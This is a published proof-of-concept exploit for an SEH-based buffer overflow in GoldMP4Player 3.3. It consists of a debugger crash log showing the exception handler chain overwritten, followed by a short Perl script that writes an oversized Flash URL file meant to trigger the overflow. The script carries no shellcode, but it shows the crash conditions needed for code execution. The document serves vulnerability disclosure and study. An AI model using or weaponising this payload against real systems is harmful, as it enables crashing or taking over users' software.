﻿#---------------------------------------------------------------------------------#
# Exploit Title: GoldMP4Player 3.3 - Buffer Overflow PoC (SEH)                    #
# Date: Feb 25 2014                                                               #
# Exploit Author: Gabor Seljan                                                    #
# Software Link: http://download.cnet.com/GoldMP4Player/3000-2139_4-10967424.html #
# Version: 3.3                                                                    #
# Tested on: Windows XP SP3                                                       #
#---------------------------------------------------------------------------------#

# (cb4.cb0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=05506f41 ebx=00000111 ecx=05503ff1 edx=00130000 esi=05506fe0 edi=00000003
# eip=0041a0c3 esp=0012e25c ebp=054f4f88 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
# *** WARNING: Unable to verify checksum for image00400000
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x1a0c3:
# 0041a0c3 8802            mov     byte ptr [edx],al          ds:0023:00130000=41
# 0:000> !exchain
# 0012e270: image00400000+4c1b3 (0044c1b3)
# 0012e3b0: image00400000+4c56a (0044c56a)
# 0012e430: image00400000+4c4ec (0044c4ec)
# 0012e4e0: *** ERROR: Symbol file could not be found.
# 0012e534: USER32!DeregisterShellHookWindow+1cf (7e44048f)
# 0012e748: USER32!DeregisterShellHookWindow+1cf (7e44048f)
# 0012e7a8: USER32!DeregisterShellHookWindow+1cf (7e44048f)
# 0012e8cc: image00400000+4c333 (0044c333)
# 0012e9f4: <Unloaded_ION.dll>+41414140 (41414141)
# Invalid exception stack at 41414141

#!/usr/bin/perl

use strict;
use warnings;

my $filename = "poc.txt";

my $junk = "A" x 10000;

open(FILE, ">$filename") || die "[-]Error:\n$!\n";
print FILE "http://$junk.swf";
close(FILE);

print "Exploit file created successfully [$filename]!\n";
print "Now open the URL in $filename via File -> Open Flash URL\n";